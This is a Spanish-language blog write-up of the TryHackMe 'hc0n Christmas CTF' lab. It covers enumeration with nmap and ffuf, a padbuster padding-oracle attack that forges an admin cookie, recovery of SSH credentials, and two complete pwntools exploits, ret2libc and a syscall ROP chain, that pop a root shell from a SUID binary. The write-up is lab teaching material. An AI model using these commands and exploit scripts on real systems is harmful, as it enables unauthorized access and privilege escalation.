Solución al reto 31: hc0n Christmas CTF

El reto está disponible en la plataforma tryhackme:

https://tryhackme.com/room/hc0nchristmasctf


Primero escaneamos los puertos:

nmap -sT --max-retries 1 10.10.119.56 -F

Cuando hay first blood hacemos escaneo rápido con -F (top 100 puertos) para ir dándole a algo mientras dejamos un escaneo de todos los puertos con la opción -p-. En este caso no sale ningún puerto más de los que obtenemos con el comando anterior.


Empezamos buscando directorios en la web del puerto 80, para ello usamos ffuf que vuela!

https://github.com/ffuf/ffuf

ffuf -t 100 -u http://10.10.119.56/FUZZ -w /usr/share/wordlists/raft-large-files.txt -fc 403


El fichero robots.txt nos da varias pistas que usaremos más adelante.


En la web hay un login, ¿probamos login bypass? Mejor nos registramos y entramos!


Tras autenticarnos solo vemos esto:


Veamos con Burp si hay algo interesante.

Modificamos la cookie para forzar un error en busca de una pista, con cambiar un caracter es suficiente.


Esto huele a oracle padding attack. Para ello usamos la herramienta padbuster, está disponible por apt o en github.

https://github.com/AonCyberLabs/PadBuster

padbuster http://10.10.119.56/index.php xDwqvSF4SK1BIqPxM9fiFxnWmF+wjfka 8 -cookies "hcon=xDwqvSF4SK1BIqPxM9fiFxnWmF+wjfka" -error "Invalid padding"


Ahora sabemos cual es la estructura de la cookie y podemos impersonar a cualquier usuario sabiendo su nombre.

Probamos con el usuario que hay en el robots.txt:

administratorhc0nwithyhackme

padbuster http://10.10.119.56/index.php xDwqvSF4SK1BIqPxM9fiFxnWmF+wjfka 8 -cookies "hcon=xDwqvSF4SK1BIqPxM9fiFxnWmF+wjfka" -error "Invalid padding" -plaintext 'user=administratorhc0nwithyhackme'


Un buen rato después...


Tenemos una cookie válida para impersonar al usuario administratorhc0nwithyhackme.


Parece que tenemos una contraseña de algo que aun no sabemos, así que, seguimos
enumerando.

ffuf -t 100 -u http://10.10.119.56/FUZZ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -fc 403



Decompilamos el apk con jadx, por ejemplo.

https://github.com/skylot/jadx

En el fichero “sources/com/example/a11x256/frida_test/my_activity.java” encontramos lo siguiente:


Vemos que se usa un cifrado AES con CBC. De momento solo tenemos la contraseña obtenida del perfil del usuario anterior.

Nos falta el iv, ¿dónde hemos visto la palabra iv antes? En el robots.txt!

Vamos a la ruta http://10.10.119.56/iv.png y nos descargamos esta imagen:


Esto parecen unas runas. La solución la tenemos otra vez en el robots.txt
“Remember the famous group 3301 to solve this”

Con un poco de Google-Fu damos con esta página:

https://www.neoteo.com/cicada-3301-el-misterio-mas-grande/


Traducimos y tenemos el iv que nos faltaba. Es importante que esté en mayúsculas.

THEIVFORINGEOAEY

Tenemos una contraseña y un iv pero donde está el texto cifrado?

En la web en el puerto 8080 encontramos esto:

RwO9+7tuGJ3nc1cIhN4E31WV/qeYGLURrcS7K+Af85w=

Para descifrarlo usamos una web como esta:

https://www.devglan.com/online-tools/aes-encryption-decryption


Ya tenemos usuario para entrar por SSH!

Antes obtuvimos otro directorio sospechoso, del cual salen 2 rutas más:

• http://10.10.119.56/hide-folders/1/
• http://10.10.119.56/hide-folders/2/


Vamos a burp y probamos otros métodos http:


Esto no se acaba nunca...

De la otra ruta obtenemos un binario:

http://10.10.119.56/hide-folders/2/hola

Es hora de reversing y que es lo primero que se usamos? STRINGS!


Por fin tenemos usuario y contraseña!

thedarktangent / Gf7MRr55n$@#PDuliL

Entramos por SSH y sacamos la primera flag.


Ese binario con suid es el camino hacia root. Veamos cual es el comportamiento normal.


Descargamos el fichero y la libc correspondiente:


Veamos que protecciones tiene:


Tiene NX, esto significa que no podemos ejecutar código en la pila (stack), al menos sin modificar los permisos con mprotect, pero vamos a optar por un camino más sencillo.
 
La máquina tiene ASLR activado, esto se comprueba viendo el valor de este fichero:

/proc/sys/kernel/randomize_va_space

Tiene valor 2 que significa activado y afecta a la libc que tenga el sistema operativo.

ASLR es una protección por la cual las direcciones de memoria son aleatorizadas en cada ejecución de un proceso, por lo tanto, no podemos obtener de forma estática las direcciones de memoria. Necesitamos leakear una dirección de memoria de libc en tiempo de ejecución para calcular dónde se han desplazado las direcciones de memoria. Después solo tendremos que hacer un “simple” ret2libc.

Para obtener una dirección necesitamos hacer uso de las tablas PLT (Procedure Linkage Table) y GOT (Global Offsets Table) que son las encargadas de resolver y almacenar las nuevas direcciones de memoria, además de una función que imprima por pantalla (stdout) dicha dirección, como por ejemplo puts.

De la siguiente imagen sacamos dos direcciones: “puts plt” (izquierda), “puts got” (derecha).


Primero calculamos el offset después de forzar el “segmentation fault”:


Cuando consigamos obtener una dirección de memoria y calculemos donde se han desplazado las direcciones de libc tendremos que volver al main para que la ejecución del proceso no termine y sigan teniendo el mismo valor.

Dirección de main:


Una vez tengamos la dirección de memoria en tiempo de ejecución de “puts” calcularemos la base de libc con el offset de “puts”. Partiendo de esa dirección sumado con las direcciones estáticas (offsets) necesarias podremos construir la ropchain:


Solo nos queda obtener el gadget “pop rdi; ret;” para poder pasar como parámetro “/bin/sh” a la función “system()”.

Para obtener todos los gadgets de un binario podemos usar estas herramientas:

https://github.com/sashs/Ropper
https://github.com/JonathanSalwan/ROPgadget


Todas las direcciones se pueden obtener de forma dinámica gracias a pwntools, podéis verlo en el código del exploit al final del writeup.


BONUS TRACK!

Vemos con “ropper” que el binario tiene muchos gadgets. Pero hay uno especialmente útil que es el de “syscall; ret;”.


Con el cual podemos hacer uso de todas las funciones que vemos en el siguiente enlace.

https://blog.rchapman.org/posts/Linux_System_Call_Table_for_x86_64/

En este caso nos vamos a quedar con “sys_execve” y “sys_read”. Para hacer uso de esas funciones necesitamos también ciertos registros para poder pasarle los correspondientes parámetros.

%rax System call %rdi %rsi %rdx
0 sys_read unsigned int fd char *buf size_t count
59 sys_execve const char *filename const char *const argv[] const char *const envp[]


Para el que no conozca la técnica, hay que hacer una ropchain para escribir “/bin/sh” en una sección con permisos de escritura como “.data” o “.dynamic” con “sys_read” y luego otra ropchain para ejecutar el contenido de dicha sección con “sys_execve”.

Solo tenemos que saber qué valores asignar a los registros. Basándonos en la tabla, son los siguientes:

Para sys_read:
- rax: 0x0
- rdi: es el valor del file descriptor, en este caso queremos que lea por “stdin” (0x0)
- rdx: longitud del comando (“/bin/sh\0x00”)
- rsi: dirección de memoria de “.data”

Para sys_execve:
- rax: 0x3b (59 en hex)
- rdi: donde está lo que tiene que ejecutar, dirección de memoria de “.data“
- El resto de parámetros no son relevantes por lo que les asignamos el valor 0x0

La dirección de memoria de “.data” la podemos obtener con ropper por ejemplo.


O simplemente con objdump:


RET2LIBC

#!/usr/bin/env python3
#-*- coding: utf-8 -*-
# Author: Laox
from pwn import *
path = './hc0n'
max_buf = 120
#context.log_level = "DEBUG"
context.binary=path
elf = ELF(path)
#libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
libc = ELF('libc-2.23.so')
rop = ROP(elf)
# Calcular offest
buf = cyclic(max_buf, n=8)
r = process(path)
r.sendlineafter('(: \n\n', buf)
r.wait()
core = Coredump('./core')
fault_addr = core.fault_addr
offset = cyclic_find(fault_addr, n=8)
success("offset: " + str(offset))
#r = process(path)
shell = ssh('thedarktangent', '10.10.66.195', password='Gf7MRr55n$@#PDuliL', port=22)
r = shell.run('/home/thedarktangent/hc0n')
junk = b'A' * offset
puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
info('puts_got = ' + hex(puts_got))
info('puts_plt = ' + hex(puts_plt))
main = elf.sym['main']
info("main: "+hex(main))
pop_rdi = rop.rdi[0]
info("pop_rdi: "+hex(pop_rdi))
payload_for_leak = junk + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(main)
r.sendlineafter('(: \n\n', payload_for_leak)
puts_leak = u64(r.recvline()[:-1].ljust(8, b'\x00'))
success('Leaked puts address: ' + hex(puts_leak))puts_offset = libc.sym['puts']
info("puts_offset: "+hex(puts_offset))
system_offset = libc.sym['system'] #local
info("system_offset: "+hex(system_offset))
bin_sh_offset = next(libc.search(b"/bin/sh"))
info("/bin/sh offset: "+hex(bin_sh_offset))
libc_base = puts_leak - puts_offset
system = libc_base + system_offset
sh = libc_base + bin_sh_offset
#Para una salida mas limpia.
exit = p64(libc.sym['exit'] + libc_base)
payload = junk + p64(pop_rdi) + p64(sh) + p64(system) + exit
r.sendlineafter('(: \n\n',payload)
r.interactive()
r.close()

SYSCALL

#!/usr/bin/env python3
#-*- coding: utf-8 -*-
# Author: Laox
from pwn import *
import time
path = './hc0n'
elf = ELF(path)
rop = ROP(elf)
#r = process(path)
shell = ssh('thedarktangent', '10.10.4.13', password='Gf7MRr55n$@#PDuliL', port=22)
r = shell.run('/home/thedarktangent/hc0n')
offset = 56
data_section = elf.get_section_by_name('.data').header.sh_addr
cmd = b'/bin/sh\x00'
pop_rax = rop.rax[0]
pop_rdi = rop.rdi[0]
pop_rsi = rop.rsi[0]
pop_rdx = rop.rdx[0]
syscall = rop.syscall[0]

ropchain_read = b''
ropchain_read += p64(pop_rax) # pop rax ; ret;
ropchain_read += p64(0x0) # valor 0 de rax correspondiente a sys_read 
ropchain_read += p64(pop_rdi) # pop rdi; ret;
ropchain_read += p64(0x0) # file descriptor correspondiente a stdin
ropchain_read += p64(pop_rdx) # pop rdx; ret;
ropchain_read += p64(len(cmd)) # size_t count
ropchain_read += p64(pop_rsi) # pop rsi; ret;
ropchain_read += p64(data_section) # char *buf
ropchain_read += p64(syscall) # syscall; ret;

ropchain_execve = b''
ropchain_execve += p64(pop_rax) # pop rax ; ret;
ropchain_execve += p64(0x3b) # valor 59 de rax correspondiente a sys_execve 
ropchain_execve += p64(pop_rdi) # pop rdi; ret;
ropchain_execve += p64(data_section) # const char *filename
ropchain_execve += p64(pop_rdx) # pop rdx; ret;
ropchain_execve += p64(0x0) # null
ropchain_execve += p64(pop_rsi) # pop rsi; ret;
ropchain_execve += p64(0x0) # null
ropchain_execve += p64(syscall) # syscall; ret;

payload = b'A'*offset + ropchain_read + ropchain_execve
r.sendlineafter('(: \n\n', payload)
time.sleep(0.5)
r.send(cmd)
r.interactive()
r.close()

Contribución gracias a Jari

Comentarios

  1. Woooow, Los leo desde Honduras. Excelente!

    ResponderEliminar
  2. Tremendo trabajo se mandaron con el reto!.

    ResponderEliminar
  3. El mejor bloc para aprender seguridad informática que he visto

    ResponderEliminar
  4. Todo perfecto pero al descompilar la aplicacion , como llegaste a ese archivo si hay un millón más, fuiste buscando de uno en uno ?

    ResponderEliminar

Publicar un comentario